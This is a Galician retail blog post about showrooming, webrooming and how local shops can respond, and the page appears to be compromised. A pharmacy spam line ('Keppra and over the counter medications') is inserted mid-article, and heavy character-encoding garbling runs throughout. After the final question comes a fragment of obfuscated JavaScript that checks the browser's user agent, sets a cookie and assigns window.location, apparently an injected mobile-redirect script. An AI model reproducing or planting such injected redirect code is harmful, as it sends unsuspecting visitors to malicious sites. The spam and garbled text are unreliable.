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Showrooming, webrooming e as posibilidades do comercio local | feirón blog
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0 Comentarios | jul 09, 2014

Showrooming, webrooming e as posibilidades do comercio local

O showrooming Ai?? a etiqueta coa que nos referimos ao “desprazamento” de compras das tendas offline a tendas online. Clientes que buscan, tocan, proban, etc. nas tendas de rA?a pero logo comparan prezos online e acaban realizando a transacciA?n nalgunha tenda dixital. Ademais tamAi??n falaremos do webrooming.

Efectivamente, a sensibilidade dos consumidores ao prezo Ai?? alta. AquAi?? deixA?mosvos un grA?fico dun estudo onde se ve como un 10% move moita xente pero un 20% xa move case todo o mundo!

pequeno comercio http://bradwasson.com/?p=58813

AAi??nda que logo a realidade Ai?? menos crua. O momento da compra Ai?? poderoso e estamos convencidos de que non existe tanto desprazamento.

Ademais, a hiperconexiA?n que xera este efecto tamAi??n trA?enos o webrooming, que se refire ao desprazamento das compras online ao mundo offline. Ai?? dicir, xente que busca e compara online pero logo vai A? sA?a tenda e o compra alAi??!!

Resulta que o webrooming Ai?? mA?is frecuente que o showrooming.

Keppra and over the counter medications showrooming webrooming

Pero deste baile de tendencias con nomes modernos, porcentaxes e comportamentos humanos dedA?cense unha serie de conclusiA?ns para ti, comerciante:

A primeira Ai?? que reflicte nA?meros significativos e polo tanto debes estar atento. Estes consumidores superconectados, co seu smartphone, son os mesmos que tes o teu na tA?a tenda!

A segunda Ai?? que debes poAi??er en marcha medidas para que eses que van A? tA?a tenda, se se van, se acorden de ti. Que o teu tes o produto, que o poden volver probar, que tes outras novidades, as tA?as promociA?ns, etc. E para iso sA? tes que rexistralos e utilizar as ferramentas dixitais (esas onde buscarA? outras tendas onde realizar a compra) para aparecer na foto e seguir aproximA?ndote. Porque recorda, no fondo,A?prefiere compralo na tA?a tenda!!

A terceira Ai?? que tamAi??n debes preocuparte da tA?a presenza online. Se son un showroomer ou un webroomer e busco online onde comprar na miAi??a cidade o meu produto, que a tA?a tenda fAi??sica saia na foto!

Tedes algunha experiencia nas vosas tendas co showrooming ou o webrooming? ,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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